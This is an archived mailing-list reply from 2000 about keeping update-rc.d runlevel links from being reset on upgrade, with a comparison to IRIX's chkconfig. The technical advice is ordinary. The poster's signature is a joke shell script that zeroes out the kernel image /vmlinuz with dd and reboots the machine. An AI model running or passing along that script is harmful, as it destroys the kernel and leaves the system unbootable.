[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: a central script to choose what daemons to start



On Fri, Jun 23, 2000 at 01:50:39PM -0600, Gary Hennigan wrote:
> Well, you can use update-rc.d to accomplish this to some degree, eg.,
> 
> update-rc.d -f xdm remove
> 
> would cause the removal of the links in /etc/rc?.d to the
> /etc/init.d/xdm script and so xdm wouldn't be automatically started at
> boot. Remember, the scripts in /etc/init.d have to be linked to from
> the appropriate runlevel directory. On Debian the default runlevel is
> 2 and so the scripts that actually get executed are in
> "/etc/rc2.d". Of course everything in there is just a link to a script
> in /etc/init.d/
> 
> But, unfortunately, you'll still be stuck redoing this after every
> upgrade because very few (none?) of the packages check to see if
> you've deleted the links, they just go ahead and put them in.

The solution is to leave 1 or more links behind (such as a kill link in
rc6.d). The default links will *not* be modified, provided there is at
least one existing link in place during an update/upgrade. This is how
update-rc.d can tell if a fresh install is taking place, or just an
upgrade.  From man (8) update-rc.d:

       If  any  files  /etc/rcrunlevel.d/[SK]??name already exist
       then update-rc.d does nothing.  This is so that the system
       administrator  can rearrange the links, provided that they
       leave at least one link remaining,  without  having  their
       configuration overwritten.


> 
> The IRIX OS running on SGIs has something like you suggest. They too
> use the SYSV init style, with /etc/rc?.d directories, but they also
> have a utility called chkconfig that allows you to turn the scripts on
> and off. At the beginning of most scripts in /etc/init.d is a line
> like:
> 
> IS_ON=/sbin/chkconfig
> 
> then before any daemons are started there's a
> 
> if $IS_ON <daemon or service name>; then
>   <start daemon>
> fi
> 
> the chkconfig utility just keeps files in /var/config that have the
> word "on" or "off" in them and executing "chkconfig <daemon or
> service>" returns 0 if that word is "on" or non-zero if the word is
> "off". 
> 
> It's nice but I don't know if it's everyone's cup of tea.

Ahh, remembers the last "state" before a shutdown.  Kind of obviates the
utility of runlevels.  Not sure if it's a good thing or not...


-- 
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now



Reply to: